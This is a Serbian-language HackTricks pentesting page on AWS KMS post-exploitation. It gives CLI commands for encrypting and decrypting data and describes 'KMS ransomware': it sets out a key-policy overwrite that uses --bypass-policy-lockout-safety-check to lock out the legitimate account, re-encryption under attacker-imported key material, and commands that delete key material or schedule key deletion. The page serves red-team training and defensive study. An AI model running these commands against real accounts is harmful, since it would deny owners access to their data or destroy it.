AWS - KMS Post Exploitation

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

KMS

Za više informacija pogledajte:

AWS - KMS Enum

Enkriptovanje/Dekriptovanje informacija

fileb:// i file:// su URI sheme koje se koriste u AWS CLI komandama za specificiranje puta do lokalnih fajlova:

  • fileb://: Čita fajl u binarnom režimu, obično se koristi za ne-tekstualne fajlove.
  • file://: Čita fajl u tekstualnom režimu, obično se koristi za obične tekstualne fajlove, skripte ili JSON koji nemaju posebne zahteve za kodiranje.

tip

Imajte na umu da ako želite da dekriptujete neke podatke unutar fajla, fajl mora sadržati binarne podatke, a ne base64 kodirane podatke. (fileb://)

  • Koristeći simetrični ključ
bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Korišćenje asimetričnog ključa:
bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Napadač sa privilegovanim pristupom KMS-u može da izmeni KMS politiku ključeva i dodeli svom nalogu pristup tim ključevima, uklanjajući pristup koji je dodeljen legitimnom nalogu.

Tada korisnici legitimnog naloga neće moći da pristupe bilo kojim informacijama bilo koje usluge koja je enkriptovana tim ključevima, stvarajući jednostavan, ali efikasan ransomware nad nalogom.

warning

Imajte na umu da AWS upravljani ključevi nisu pogođeni ovim napadom, samo Klijentski upravljani ključevi.

Takođe imajte na umu potrebu da koristite parametar --bypass-policy-lockout-safety-check (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI-a).

bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

caution

Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, a zatim iz ovog eksternog naloga pokušate da postavite novu politiku da ponovo date pristup originalnom nalogu, nećete moći jer akcija Put Policy ne može biti izvršena iz međunaložja.

Generic KMS Ransomware

Global KMS Ransomware

Postoji još jedan način da se izvrši globalni KMS Ransomware, koji bi uključivao sledeće korake:

  • Kreirajte novu ključ sa ključnim materijalom koji je uvezen od strane napadača
  • Ponovo enkriptujte starije podatke enkriptovane prethodnom verzijom sa novom.
  • Obrišite KMS ključ
  • Sada samo napadač, koji ima originalni ključni materijal, može dekriptovati enkriptovane podatke

Destroy keys

bash
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

caution

Imajte na umu da AWS sada sprečava prethodne radnje da se izvrše iz druge naloge:

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks